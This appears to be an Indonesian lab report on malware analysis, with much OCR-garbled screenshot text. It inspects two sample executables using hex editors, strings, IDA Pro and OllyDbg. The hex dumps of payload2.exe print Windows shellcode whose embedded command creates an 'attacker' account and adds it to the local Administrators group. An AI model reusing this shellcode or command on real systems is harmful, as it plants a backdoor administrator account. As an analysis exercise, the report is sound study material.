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Analisa malware

Analisa malware adalah suatu aktivitas yang kerap dilakukan oleh sejumlah praktisi
keamanan teknologi informasi untuk mendeteksi ada atau tidaknya komponen sub program

atau data yang bertujuan jahat dalam sebuah file elektronik.

Ada dasarnya malware adalah sebuah program, yang disusun berdasarkan tujuan tertentu
dengan menggunakan logika dan algoritma yang relevan dengannya. Oleh karena itulah
maka model analisa yang biasa dipergunakan untuk mengkaji malware sangat erat kaitannya
dengan ilmu dasar komputer, yaitu: bahasa pemrograman, algoritma, struktur data, dan

rekayasa piranti lunak.

Pada saat ini, sudah tersedia berbagai macam software yang dapat digunakan untuk
melindungi komputer / jaringan komputer dari serangan malware, diantaranya : antivirus,
firewall, ids, internet protection dan lain-lain. Namun kecanggihan dari software tersebut,
umumnya dapat dilewati menggunakan teknik-teknik tertentu sehingga software tersebut

tidak dapat mendeteksi adanya aktivitas malicious program yang sedang berjalan.

Ada dua metode untuk melakukan analisa terhadap malware, yaitu :

1. Dynamic Analysis : Merupakan metode yang digunakan untuk melakukan analisa
terhadap malware dengan mengamati kinerja sistem yang dapat terlihat dari perilaku
sistem sebelum malware dijalankan dengan perilaku sistem setelah malware tersebut
dijalankan pada sistem tersebut. Metode dynamic analysis umumnya menggunakan
software virtual seperti VirtualBox, VMWare dan lain-lain, sehingga apabila malware
yang dijalankan tersebut ternyata merusak sistem, maka sistem utama tidak

mengalami kerusakan akibat malware tersebut.

2. Static Analysis : Merupakan metode yang digunakan untuk melakukan analisa
malware dengan cara mengamati secara langsung kode sumber (source code) malware
tersebut. Dalam mengamati kode sumber malware, terdapat teknik yang umumnya

digunakan, yaitu Reverse Engineering.

Sebagai uji coba, digunakan bahan yang telah diberikan berupa payload.exe, dan
payload2.exe . Dan tools yang digunakan untuk menganalisa bahan yang diberikan berupa

ghex, hexdump, strings, ollydbg, dan ida pro.Ghex berguna untuk debugging masalah dengan



kode, dan untuk memuat data dari file, melihat dan mengedit hex dan ascii. Hexdump
fungsinya sama dengan ghex untuk melihat kode hex yang ada pada file tersebut, beda
dengan ghex tampilan berbentuk gui. Strings befungsi untuk melihat program/ perintah-
perintah dalam sebuah file. Ollydbg berfungsi untuk debugging / debug dan melakukan
dumping, serta melakukan pengintaian proses apa saja yang terjadi pada sebuah program. Ida
pro adalah piranti bantuan untuk melakukan debug dengan melihat kode program dalam
bentuk assembler.

Pertama yang dilakukan membuka file yang diberikan

payloads [-Y=1x]
File Edit View Go Bookmarks Help
(<] @ ® | & E | jhome/dee/Downloads/TUGAS/payloads £+ -+ Q =
¥ My Computer
*, .

4 Home ** **

Desktop paylead.exe payload2.exe

B Documents

nMusm

ﬂF\ctures

BB videos

4, Downloads
E Recent
] File System
1 Trash
~ Devices
] DONTBU...
] 426 GB V...
1157 GB V...
~ Network
€3 Network

E]. B @) 2 items, Free space: 28.0 GB —
M100% 1528 Oy

® menu /) #) [E|/binsbash] ) Windows ... [Untitled ... @ Welcome... €)[Bab8-Pe... Home ayloads 61.0°C [
] 4 £ =) 9 pay =

Terdapat 2 file pada gambar di atas berupa payload.exe dan payload2.exe. kemudian kita
coba terlebih dahulu payload.exe. dengan cara klik kanan pada file tersebut dan open with

dengan ghex.



payload.exe - GHex

File Edit View Windows Help

DOREORO0)

00O00OLF
0000003E|
000006050
6000007C[00
00E00O9B85

l\(‘3
0600006D900
000000F8/00
0ee00117/00
00000136/00
00000155(10
00000174/C8
0000019300
000001B2j00
600001D100
000001F0O
0000020F00
0000022E00
0000024D[00
0000026C/00
0000028Bj00

4D
00
00
6E

[¢[¢]
[c1¢]

20
85
9E

[¢[¢]
00

00
°C]

00
00
00

L¢]
70

00
00

00
00

44
85
9A

50
00

00
00

00
co
2E

00
Do

00
00

.......... I'..L.!This program ca
nnot be run in DOS mode....S$...
calloc

Y...Y...E...Y..TE.
CFL Y. YL LLY. L TO
.. ...Y..Rich.Y...
PE..L...Gg.I....

Signed 8 bit: | 0
Unsigned 8 bit: | 0
Signed 16 bit: | 1024
Unsigned 16 bit: | 1024
@ Show little endian decoding

Offset: 0x7; 0x8 bytes from 0x0 to 0x7 selected

"meru 09O

B Pictures $» payload.exe - GHex

Signed 32 bit: | 1024

Unsigned 32 bit: | 1024
Float 32 bit: | 1.434930e-42

Float 64 bit: | 7,290232e-304

Hexadecimal:
Octal:
Binary: | 00000000

Stream Length: | 8

Show unsigned and float as hexadecimal

[=| [/bin/bash] @ File Signatures - Go...

52000, & i

Berikut tampilan pada ghex, terdapat kode yang diblok berupa 4D 5A 90 00 03 00 00 00 dan

kode sebelahnya MZ...... kemudian kita cari di list of file signiture

G| file signature wikiped X ' &&& File Signatures X W List of file signatures  x &)
VA———————~, —_—
c | @® www.garykessler.net/library/file_sigs.htm o | rev)
VILS  IVIIESIULES V2. U PIUJCOL LIAIAECIICHL alld SCLEUUIIIE SUltwale
(Also see "MILES" and "MV2C" signatures) Mz A v X

MLS

4D 5A

COM. DLL. DRV, EXE. PIF, QTS, QTX, SYS

ACM
AX
CPL
FON
ocx
OoLB
SCR
VBX

VXD, 386
APIL
AX
FLT
4D 5A 90 00 03 00 00 0O
04 00 00 0O FF FF
ZAP
4D €9 63 72 6F 73 &F 66
74 20 43 2F 43 2B 2B 20
FDB
4D €9 63 72 eF 66
74 20 56 69 61 6C
20 33 74 75 20

v menu 0O O
File MZ......
APl(acrobat plug-in), AX(directshow filter) dan FLT(audition graphic filter file(adobe)).

§» [payload.exe - GHex]

Kemudian Kita coba file payload2.exe

MV2C
Milestones v2.1a project management and scheduling software
(Also see "MILES" and "MV214" signatures)

Mz

Windows/DOS executable file

(See The MZ EXE File Format page for the structure of an EXE file,
with coverage of NE, TLINK, PE, self-extracting archives, and more.)

Note: MZ are the initals of Mark Zbikowski, designer of the DOS executable file format.

MS audio compression manager driver
Library cache file

Control panel application

Font file

ActiveX or OLE Custom Control
OLE object library

Screen saver

VisualBASIC application

Windows virtual device drivers

.'-\C;Oi):;lt’éll‘lg—in
DirectShow filter
Audition graphic filter file (Adobe)

T
ZoneAlam data file

Microsof
t C/CtH+
Microsoft C++ debugging symbols file

Microsof
t Visual
Studio

[=] /bin/bash] @ File Signatures - Go...

=l

m55% 1102 Oh

W54% 1102 Ch

merupakan jenis file yang hanya tersedia untuk windows dan berjenis aplikasi



payload2.exe - GHex [-1=1x]
File Edit View Windows Help

00000000|:C EB 82 00 00 00 60 89 E5 31 CO 64 8B 50 30 8B 52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC| |.|..... “..1.d.PB.R..R..r(..J&1..
0000001F[3C 61 7C 02 2C 20 C1 CF 6D ©1 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B [<a|., ....... RW.R..J<.L.x.H..Q.
0000003E[>59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF @D 01 C7 38 EO@ 75 F6 ©3 7D F8 3B[ [Y ...I..:I.4...1....... S.u..}.;
0000005D[7D 24 75 E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 8B 01 DO 89 44 24 24 5B 5B 61 [}su.X. Xs..T. . K.X......... Dss[[a
0000007C|59 5A 51 FF E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 6F 87 FF D5 BB FO| [YZQ.. Z....l1j....... Phl.o.....
0000009BIB5 A2 56 68 A6 95 BD 9D FF D5 3C 06 7C OA 80 FB EO 75 05 BB 47 13 72 6F 6A 00 53 FF D5 63 6D |..Vh...... <.]....u..6.r0j.5..cm
Al64 2E 65 78 65 20 2F 63 20 6E 65 74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74 [d.exe /c net user attacker Gant
000000D9[65 6E 67 31 20 2F 41 44 44 20 26 26 20 6E 65 74 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D| [engl /ADD && net localgroup Adm
000000F8[69 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00 linistrators attacker /ADD.
Signed 8 bit: | -4 Signed 32 bit: | 8579324 Hexadecimal: | FC
Unsigned 8 bit: | 252 Unsigned 32 bit: | 8579324 Octal: | 374
Signed 16 bit: | -5892 Float 32 bit: | 1,202219e-38 Binary: | 11111100
Unsigned 16 bit: | 59644 Float 64 bit: | -1,587866e-263 Stream Length: | 8 =+
@ Show little endian decoding Show unsigned and float as hexadecimal
Offset: 0x0

"meu D0 E ... Owi ... B [Untitle... @ Welcom... €)[Babs-.. [jHome payloads | §epayload...| 610°Cc ., L& i vt B %100% 1529 Oy

Berikut pada gambar diatas hasil kode hex pada file payload2.exe. kemudian Kita lakukan

dengan perintah di terminal strings payload.exe

/bin/bash [-1=1x]

/binfbash 168x40

® menu 0 ® D [Evbinda.. @ Window... B [Untitle.. @ Welcom... € [Babs-... [ijHome Mpayloads |[]/binsbash) 627°c ., $ ) [\ ™ B0 1532 O

Maka akan keluar seperti gambar diatas, kemudian kita lakukan ke file selanjutnya



/bin/bash
/binfbash 168x40

payloads # strings payload2.e

® menu 0 ® D [Evbinda.. CWindow... [ [Untitle.. & Welcom... € [Babs-... [iHome Mpayloads |[E)/binsbash| 607°c ., L Q¢ & & ('M m100% 1532 O

Maka akan tampil seperti gambar diatas. Kemudian kita lakukan perintah pada terminal

dengan perintah hexdump payload.exe

/bin/bash
=] /bin/bash 168x40

® menu IE) 0 @ ©® B TUGAS(~/Downloa... @ [File Signatures - Go... () [Windows XP Profes... | [] /bin/bash | s23c , Q Ciw) T @ T Esw 1723 O

Maka akan keluar seperti gambar diatas, kemudian kita lakukan ke file satunya.




/bin/bash [-1-1x]
/bin/bash 168x40

® menu IE)0) @ ©® B TUGAS(~/Downloa... @ [File Signatures - Go... () [Windows XP Profes... | [] /bin/bash | s27oc ., L e b m27% 17:24 OO

Maka akan keluar file hex seperti diatas. Kemudian kita buka tools virtual machine pada hal
ini menggunakan vmware dan menggukan windows Xxp sebagai sistem operasi untuk

menjalankan tools ollydbg dan idapro. Dan berikut hasil untuk payload.exe

4. IDA - C:\Documents and Settings\Administrator\Desktop\TUGAS_kjk\TUGAS\payloads\payloads\payload.exe

Fle Edt Jump Search View [UGNERCE Options Windows Help
BHIE S R S 3 i@ e - #F X[ » @ O rodebuger v %] B B

SRR B RN AN _______________________________ D

Library function ~ Data [l Regular Function | Unexplored [l Instruction  External symbol

[] Functions window O& x 1DA View-A [B]  Hex view-1 [B]  Structures ) Enums FE Imparts F  Exports
Function name
7] sub_404310
| sub_404494
sub_404CeD
sub_404D4F
sub_404DSD
sub_404E30

o

sub_405A4C0
sub_408C70
7] sub_40a940

o Y G

A
~

A, Graph overview O& x

100.00% (-347,-138) (263,8) UNKNOWM FFFFFFFF: FFEFFFFF (Synchronized with Hex View-1)

[Z] output window o8 x
The initial autoanalysis has been finished. =

idle | Down Disk: 7CE




7. IDA - C:\Documents and Settings\Ad mm WinGraph32 - Graph of start

Zoom Move Help

G o aan® 4+ [roes B |y

EHie- -

SRR N i ~ o I
Library function | Data [l Regular func) & !
[ 7] Functiorns window O gl = =
Function name g
e e
sub_404310 e s
lata
sub_409494 s
g an, ac
sub_404Ceg e
sub_404D4F berg s, e
sub_404D5D e o
sub_404E30 = =
start o e
sub_408AC0 e an
sub_408C70 e
sub_40A940 .
e
e =
st
e
< lera
Jous
i
e
A, Graph overview O g%
g
g s, o
e’ s
e e
faeane:
it
e e
lita
b aus, am
e
o
=
; ]
£ >
51,28% (0,17} 2 nodes, 2 edge seaments, D crossings
100.00% (-347,-138) (778,185) UNEMOUN FFFFFFFF: FFFFFFFF (Synchronized with Hex Wiew-1}
Output window 08 x

‘The initial autoanalysis has been finished.

File Edit Jump Search Yiew Debugger Options ‘Windows Help
SEie 3 e 8 ) 6 @A X DOt v %[
Al T TR e e = I 0

Library function ~ Data [l Regular Function | Unexplored [l Instruction  External symbol
Functions window: 0&x waviews B | B Hecvisel 0 Structures

[ — _text:00401060
.Igext:unumﬂn
Jrext:00401000
sub_4044%4 text:00401000
sub_404CE9 -text:00401000
sub_404D4F -text:00401000
sub_404D5D _text:00401000
sub_404E30 _text:00401000
et _text:00401000
o
-text:
sub_406C70 .text:B88481080

O | Enoms B | wports [ | @B Bgots [

b_404310
e This file has been generated by The Interactive Disassembler (IDA)

| |
] Copyright {c) 2015 Hex-Rays, <support@hex-rays.com> ]
1 License info: 48-B611-7234-BB 1
1 Doskey Lee, Kingsoft Internet Security Software 1

Input MDZ : W19FBBB2CH4CO37BLASBO3FFFABA7C238
Input CRC32 : 16C5EB89

sub_10A540 _text:08481880 ; File Hame s\Documents and Settings\AdministratoriDesktop\TUBAS_kjk\TUGAS\payloadsipayloadsipayload.exe
-text:868401888 Format Portable executable for 88386 (PE)
-text:06401000 Imagebase Lapasa
-text:864010088 Section 1. (virtual address B6608108688)
-text:06401000 Virtual size : BBOBBA%66 { 43366.)
.text:06401000 Section size in file : DAAOBAOD ( AH5056.)

-text:06401000
-text:00401060
-text:00401060
-text:00401060
-text:00401060

0ffset to raw data for section: 60061600

Flags 60000620: Text Executable Readable

Alignment @ default

PDB File Mame : G:\localB\asfirelease\build-2.2.14\supportiReleaserab.pdb

-text:00401000 include uni.inc ; see unicode subdir of ida for info on unicode
-text:00401000

-text:00401000 .686p

-text:08401000 - mmx

-text:08401000 .model flat

-text:08401000
-text:86481880 ;

< | » 00001000 00401000 . text:00401000 (Synchronized with Hex View-1) v
< | 3
Output window aos
‘The initial autoanalysis has been finished.

idle | Dowm Disk: 7CE

Pada gambar diatas merupakan hasil convert file tersebut dalam assembly



\Documents and Settings\A dm

Fle  Edt  Jump

Search  View

Debugger

strator\Desktop\TUGAS_}

Optians

Windows

Help

K\TUGAS\payloads\payloads\payload.exe

Library Function

Funcions window

Data [l Regular function

0O& x

Unexplored [ Instruction

External symbol

SH e > [(ame e ) @0 At w X[ > O 0ok RS
IR |

{

Function name
sub_404310
sub_404494
sub_404CE9
sub_404D4F
sub_404DED
sub_404E30
start
sub_405AC0
sub_408C70
sub_40a940

File

Yiew

IDA View-&

B O

Zoom

Move:

Hese Wigti-1

Help

B WinGraph32 - Call flow of payload.exe

Structures.

Tmports (# Exparts B |

[

glaany s rodss v

Output window

‘The initial autoanalysis has been Fini|

Disk:

TGE

D

>

H:P:A:zg:X"...

File Edt Jump

Search  View

Optians

Windows

Help

Bhie |

Library Function

Data [l Regular function

Unexplored [ Instruction

Extemal symbol

M E B ) DA S F i X[ b O 0O Nodebume RS
IR |

Functions window 0O & x A views [0 | [0 Hexviewt @ [[A  stuctres [ | [E Enums B | Tmports EREEE I
(Eureien 06401631 4D 68 50 51 C7 05 FO 17 41 00 A6 D2 7B 00 B8 28 H.PQ}.-.A.2-{.8(
7] sub_so4310 00401041 EZ C8 41 EF ES D6 4C 60 00 68 EB 5F 40 7E D7 DE p+ANF+L..ha @++ =
7 aidoseon 00401051 CB 0B OA 83 C4 04 38 53 53 68 4C 40 41 BF E8 FC -..3-.8SShL@A+Fn
- 06401661 0% 20 00 8B 55 03 F2 45 08 D3 85 4C 40 41 92 52 .- iU.-E.+3LEAER
sub_104C59 00401071 [T 8D 55 Fu 51 52 E8 44 4A 00 00 BF 55 DD 8D 45 P.U(QRFDJ..+U!.E
7] sub_sospar 00401681 FC 8D 4D FB 50 51 68 14 D2 48 00 52 ES DE A9 60 n.HuPQh.-@.RFl-.
sub_404D5D 00401691 8O 85 CO OF 4 B2 C5 60 00 8B 35 68 C1 48 00 OF .3+.01+..i5h-@
[7] sub_40se30 004016A1 BE 8D 42 83 CO 63 83 F8 39 OF 87 66 04 080 00 33 +.Bi+cd
start 00401681 CA 8A 88 8F 17 40 00 94 24 8D 98 92 40 06 BB 55 -@&. @.0%.jee.1v
7 sub_sosaco 0B4016C1  FC 52 21 15 6C C1 48 B0 83 C4 D5 26 C3 A3 10 D6 nRT.1-B.3-+&+i.+
F subsvscrn 064016D1 48 32 OF BS 3D 04 00 68 68 F8 D1 48 60 A2 AE 06
iy 0B4016E1 B8 B8 E9 CE 04 08 00 C7 05 68 02 41 63 01 00 00
sub_40AS40 0B4016F1 B8 E9 1F 84 00 08 89 EF BC DB 40 08 E9 14 04 00
08401161 28 8B 45 FC 50 C7 15 6C C1 B9 00 FA 18 DB 408 00
06401111 E® FD 2F 80 00 8B 4D FC 51 FF 15 6C C1 48 2F A3
06401121 6C 62 41 00 EY E9 03 60 00 39 1D 53 62 41 08 7E
06401131 6D 68 D8 FD 40 06 50 14 1C 86 00 83 C4 6F C7 1F
06401141 68 66 41 41 FF FF FF FFE9 C8 03 08 60 8B 55 FC
00401151 A5 FF 15 88 OC 46 00 A3 BE FF 77 00 E9 51 03 60 F-.# @.G+-w.TZ..
06401161 06O 4D 1D 44 70 46 00 77 A2 63 00 00 8B EG E9 50 .M.DYR.u-...YaTP
06401171 FF 15 CO €1 C4 E2 A3 EO 17 41 00 E9 92 063 00 60 -.+——Gha.A.T#. ..
06401181 57 1D FD 16 F5 00 E9 80 03 60 00 39 1D 66 02 41 W.2.).TE...0.°.n
06401191 60 74 0D 5D BC D1 02 95 EE® ED 24 30 00 83 G4 7B .t.]+-.BFF$0.5-{
064011A1 8B 4D FC 51 ES 86 35 62 00 83 G4 04 8B £3 75 OF IMnQF35..3-_;+u.
004011B1 C7 05 60 04 41 00 01 60 00 00 20 3F 03 00 00 39
004011C1 1D 20 EG FD 00 OF 84 %A 03 86 00 50 FF 15 70 C1
004011D1 48 B0 39 1D 60 93 41 60 74 6D 68 AO 3F 51 00 ES
004011E1 6B 65 00 00 83 C4 O4 8B 55 83 52 E@ 3F CC 00 47
004011F1 83 C4 O4 3B C3 75 OF F9 93 66 02 41 00 02 00 F8
06401261 B8 E9 7D 83 00 08 BD 1D 29 38 41 85 BS 84 03 03 ..
. | 06401211 B8 80 58 FF 15 78 C1 48 08 C7 05 23 02 41 00 61 ..P-.p-@.}.%.A..
00001071 00401071: _text:00401071 (Synchronized with IDA Wiew-24) hd
=] output window 08 x

Command “ChartirefsTo” failed

Do Disk: 7CE

Pada gambar diatas merupakan hasil hex pada aplikasi ida pro. Kemudian kita lakukan pada

file satunya payload2.exe



\Documents and Settings\Administrator\DesktopATUGAS_kjk\TUGAS\payloadsipayloadsipayload.
Fle Edit Jump Search YView Debugger Options Windows Help
e (e 83w @0 At e X b OO v 2 @R

Library function ~ Data [l Regular Function [ Unexplored [l Tnstruction  External symbol

[F] Functions window 08 x ‘ oA vView-t [ | T Heeview1 0| Structres [ | [0 Enums B | Tmports | B o B |
Function name seqBfa: 0100 ; -~
100 ;
b_10136 : : : : :
Su - HE| This file has been generated by The Interactive Disassembler (IDA} ]
| Copyright (c) 2015 Hex-Rays, <support@hex-rays.com> |
HE License info: 48-B611-7234-BB 1 |
HEl| Doskey Lee, Kingsoft Internet Security Software ]
; Input HDS 5148D815F36881148F79E7 BFFA1678CA
; Input CRC32 : 78990563
; File Hame : C:\Documents and SettingsiAdministratoriDesktop\TUGAS_kjk\TUGAS\payloadsipayloadsipayload?.exe
; Format : HMS-DOS COM-File
; Base Address: 1888h Range: 18186h-18212h Loaded length: 112h
_686p
-nmx
.model tiny
; Segment type: Pure code
5eq000 segment byte public °CODE' usel6
assume cs:seqBog
org 188h
assume es:nothing, ss:nothing, ds:seg@8@@, fs:nothing, gs:nothing
public start
start:
seqBpa: 0188 cld
< | ?
00000000 00010100: seq000:start (Synchronized with Hex Wiew-1) v

Search Windows

File Edit  Jump View Options Help
SHlie > [(Hnk 4 ) 6D dddd 2 Xip becobugger v % || D B B
Library function ~ Data [l Regular Function | Unexplored [l Instruction  External symbol

Functions window 08 % [[F oavews [0 |0 teovewt B [[E]  swuetwss [ | [ Enums B | Tmports EREEE I
Function name 1660:0100 ES 82 00 00 00 60 89 ES 31 CO 64 8B 50 30 8B nFé... 8s1+dIPoi
7 sub_totse 1000:0410 52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC 3C %<
- 1660:01280 61 7C 62 2C 28 C1 CF 8D 81 CF E2 F2 52 57 8B 52 G=Ruil
1000:0130 18 8B 4A 3C 8B 4C 11 78 E3 48 61 D1 51 8B 59 20 3 I
1060:0150 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC
1660:6150 €1 CF 6D ©1 C7 38 EG 75 Fo6 03 7D F8 3B 7D 24 75
1660:0160 E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3
1660:0170 BB B4 8B O1 DO 89 b4 24 24 5B SB 61 50 5A 51 FF
1660:0180 EO 5F 5F SA 8B 12 EB 8D 5D 6A O1 8D 85 B2 08 00
1860:0198 00 58 68 31 8B 6F 87 FF D5 BB FB BS A2 56 68 A6
1868:01A8 95 BD 9D FF D5 3C 06 7C BA 80 FB EG 75 65 BB 47
1B60:01B0 13 72 6F 6A 00 53 FF D5 63 6D 64 2E 65 78 65 20 .roj.S-+cmd.exe
1B60:01C0  2F 63 20 6F 65 74 28 75 73 65 72 20 61 74 74 61 Jc-net-user-atta
1660:0108 63 6B 65 72 20 47 61 6E 74 65 6E 67 31 20 2F 41 cker-Gantengl-/A
1B60:01EG 44 44 20 26 26 20 6 65 74 20 6C 6F 63 61 6C 67 DD-&&-net-localg
1B60:01F0 72 6F 75 70 20 41 64 60 69 6E 69 73 74 72 61 74 roup-Administrat
1660:0200 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 i ors-attacker-/AD
10608:6210 44 00 D.

k3

00000000 00010100: seg000: start| {Synchronized with IDA View-A) v

=] output window 08 x

Pada gambar diatas merupakan hasil hex pada file payload2.exe



Bt B 3w @0 - X >

2]

Library function ~ Data [l Regular Function [ Unexplored [l Tnstruction  External symbol

Functions window O&f x

WinGraph32 - Call flow of payload2.exe
Function name
sub_10186 File View Zoom  Move  Help

G aanu+ [roem® |\

ub_ 10186 S

v
=] output window 08 x

The initial autoanalysis has been finished.

Dowm Disk: 7GE

Pada gambar diatas merupakan hasil graph pada payload2.exe. kemudian kita gunakan
aplikasi ollydbg

OllyDbg - payload.exe
File Wiew Debug Options

BWx] » Lie[m[T[wB[c[/[E[B[R]
Il Log data ' Executable dule 1% Thread O
Address |Hessage EBase Entr. Hame File uersion |Path 15 block|Last_erro Status  |Prioricy[User tine [Susten ta
90488000 Sagégggg Q048D payload |2 otz (| ClopTEanente S Sevt IS oSz Db SAEED| PR TR0 ERAORC THALTOCRA Hee e ] G.0000 3| 0.00 —
TN
7 1AEDEA| G061 7608 | 71AB1ZT £ 515 (] C: WINDOUS systen3zn =
71A00GEE| BARBIE0A 71001633 | WSDCKS2 |5 L5513 (] C:WINDOUS =usten32 WS0CKES
77010606 QRAS3E00 T7CIF2AL( HEUCRT |7 LSE1Z (1 WINDOUS sustenI2 HSUCRT)
7rO0o60| GeaSEa0e 77007168 | AOURR 132 € 15755 (1 2 MINDOUE S0 5t en 32 ADUAF I
PE7DER| BARIIE00 | 77E E2SF RFCRTA 08, £477 (] C: WINDOUS susten3s
ZPFEDBEE| BUA1 1608 F7FEZ145 533 (] C: WINDOUS sy ten32 \Secursz,
ZCEBRARA| AUOFEORR | TCOPBEAE 16532 (1 C:WINDOUS 20zt en32rkerne L5
730060 GRBEZE00 | 7CS12AFC L8855 (1 C:WINDOUENsusten3tntdll.d
0LLyDbg w118
Lle "CisDocunents and Sert ingsAdninistratord
v Brocess with [0°00038i64 created
Qo4B5AE0 thread with [D GOROOZ4C created
BO4BAGER 4 S5t ings N n istbrator\Deskop TUBAS_ jk\TUBRS pay Loads pay loadspay | v
T1AABDEA WINDOWE Su=ten32 WSZHELF . d L1
71RAEREE0 | Hodu Le Ca WINOOWSN SusTem3z
PIA0000 | Hodu Le Ci \WINDOWS™ 53t end2 SOCRIZ, oL 1 & cp = ad, module payload ]
SRR p R s
odu L& custen
P7E7050R Hodu Le C: WWINDOWS\=0stem32 RPCRTA. el B A ~ |Beaisters (FPU)
P7FEGEEE Hodu le CaWINOOWEN sustem3zSecuraz. dll o I Sunc - N B
L2000 | Hodu Le Ca “WINDOWE system3Zkerne 122, dl 1 il o 2 e ECX QE1ZFFBR
PESBRG0H | Hodu Le Gt WWINDOWE SystendZwntd 1. dl 1 s o e ELH FCOBEE4 nbdll LK FastBystenCal IRey
BO4REAED | Progran entry paint EEH 7
RS . B Sae
suristical brocedures
8 calls to known, 1 call to guessed funotions = [t W e = ESI FFFFEFFF
| o £ s EDI 7C318228 ndll.7C318228
7] Memory map m] 4g5A57| 1 Fl SO =N e1r op405ASD pau Load. <Hodu LeEntruPaint]
aBERGE 1 9 SCHE BRI, ECH
Address |Size Ouner Section |Contains Tupe|Aocess | Initial|Mapped as ~ MBEAT Fi cLo E ? Eg ES%S ESE 2 E:EEFEFEEF:
‘OBG 16000 | 0001 5o (0| R m = 405RoA( . 3 aAs © S5 9823 32bit BiFFFFFFEFE)
BEOZOAE0| G651 o i Rl i | o Rl B 1 DS @023 32bit 0iFFFFFFFF)
96120600 | G001 o Tiu| B Gua R 3 agey o 7 o @ FE B93E 22bit PFFODBEGIFFF)
51 EG06 | BEAE2ER stack of ma|Priv|RN  Gual Bl B GE BE0A HOLL
03136050 ABOB3E0 120 opigiad| o G EECHEER o
01 40000 | ARA0400 | il 1 ofidind| o 5 B2 [ @ LastErs ERROR_INUALID_HANDLE (@0
e Fes 20 [ 3 eshni| & 3 856 =7 EFL 00000246 (MO, HE, E, BE. M5, PE. GE, LE)
BBICAANG | BERG3ER ap | Rl 1 2 D v
BBZEAANG | BEEE G0 13D “Device Harddisklol 7@ empty -UNORM ECEC B1BEG184 DBEARG
DEZEHAE0| fad 1 oo 10 “Dev ceHarddiskilol ST1 empty +UHORM GGEF DACFOG74 GESCHN
BEZ00GEE| fad | oo 10 “DeviceHarddisklol T2 empty +OHORM GB44 DA7IGGCC HBECHN
80320000 BoEseoe! ENiN ) “Device HarddiskUol T2 empty +ONORM BREd OEPACDEC DBECHD
i
85340000 | GO0 350 i2p “Deulce HsrddizkUal Address [Heu TLEIe0a; | RETUR_to Ferneldc. rCalonar )
BP420008 | BORZ 1008 pay load PE header Mag) E ErTRTETeTs] T rColBezg nedl 1. PCalezal =
85461600 | BEBEEDER pay load | . tent code mag E a3| 0o o FFFFFFFF |
AG4ECARE| BEAE1EAR| pay load | .rdata | imports mag E 1A G1 G FEDEAEAR
460050 | ABBASHAA| pay load | .data data ag) E BE R SA5440F0
894 1500G | BORA1O08 Day load | .rarc rEIOUrCES Mag) E Bzal Gl e Ga BB1ZFFLE
T1AAGEEE| BeBE 1888 | USZHELP PE header mag E 25| 88 a8 S1FFg923)
7IAR1G0E| BERO4ERE USZHELE | .text | code, Lnport{ Inag E e E FEFFEFFF | End of SEH chain
71A0EADE| BERD1EE USZHELE |ldata | data nag E ez 42 @ i FLE33845( SE hand ler
71AAGHOE| BEGG1000| WSZHELR | .rerc | resources | Imag E adi| 5o o =] TLEleasn kernsl32. TLE16A40
FR7o08 | ooeo1o6a WSZHELP | ireloc |relocations|Imag E G4z SF i é apEgaaan
71ABHANE | BEAA1EAR | SZ_ZZ PE header mag E oea| 62 o &4 82ap00ea)
71AB1B60| BEA13088| USZ_22 | .teut code, inport{ Inag E e 25 7 43 BEREEAER
7IACAOR0| OROB1DAR USZ 32 | dats | dats w3 E ben| eF E sk cnteera Fi Q3485350 nay Load. CHodu LeEntryPaint >
TiACSORE BARR1iORR WSZ 32 | .rarc rEIOUrCES Mag) E 65| 6F GE 63 75|72 72 65 6E|oncurren QRLSFFFC( BRBaRae
FAlkans | anstoaa Usicise |0 0 |BE header”| Inag £ 75| 35 &3 5 e5| &5 25 &8 35| “Uresier =
71ADIAED| GARDSEAR) USOCKSZ | .tewt | oode, inport| Inag) IE ~ (= FReeiE v v
Analysing payload: 3 heuristical procedures, § calls o known, 1 call to guessed functions | [ Paused

Pada gambar diatas merupakan hasil dari file payload.exe



OllyDbg - payload2.exe

File Wiew Debug Options Window Help

I Log data - - Threads =
Nt
Address |Message S ntudn |E. C e Systen 1
BB = I =t emI2 HEER BBBBB?ZD BFBBF449 7FFDFBBB ERROR_MOD_MOT_FOUI Act Lue BEEA = EN:E
14 132 S.1 2 I m32nG0I32. dLL
2 stem
C300000| ARREZ000| 7CI12AFC WTHDOWS sy stenzzanedl |
PE410060| aodSio0s| FEAI1E217| USERaz  |E110 UTHDOWS 3y 2+ enznUSER3E .
OllyDbg w1.18

ile "C:vDocunencs and Sertings\AdninistratorDeskson TUGRS. k ik TUGRS pay Loads oay Loads pay Load2. ene”

ew process with [D
BFEEF449] B
BFEAGE5E] = W IND 2Nt ene
jaamnaace EENIEEE - main thread, module ntvdm =1 X‘
C7F16808| L A

AFBF 445 IR PUSH 18 = (FFLD

Tt e oo GPACEadn| . 68 4316008F | PUSH nrudw. BFODLE4E e
R X E5 73Cd0Pen | CALL ntwdn. BFB1BECE ERyt poopanae
TEA16G0E Ie b o Erpreeiied | (T EGET ED} PCOPES14 ntdll.KiFastSustenCal lRet
CIREFRE) ety Gitesy (O . Eg.GFCCREOR | CALL neydm, BFALCE00 5 ERare

T e s PET [EE e =

Gallz ta knoun, Zallz to guessed Functions
1611 loops, A4 cuifches o R L TPUE (T (F3 T A Usrsionr |ED] FC31B228 nedll.7Co1ezes

- PUSH EST
+ FELS 2ciooeer| CALL DUORD PTR: D9: LOWERMELS2. Ger s Lo Betlerzin |EIP BFBEF443 ntucm.<ModuleEntryPoint>

2845 16 i 0 PTR O5:[E
e tFaésaEs] Ak BY & IR RN ey

M Memory map

1 C5 BA1E 32bit BIFFFFFFFF]
Add S Sect Cont. A Initial|m: d . i}
] & B B T 1 5580 S4SAceF | MU ns:[raesnaq,s:x 0 E RS e iy
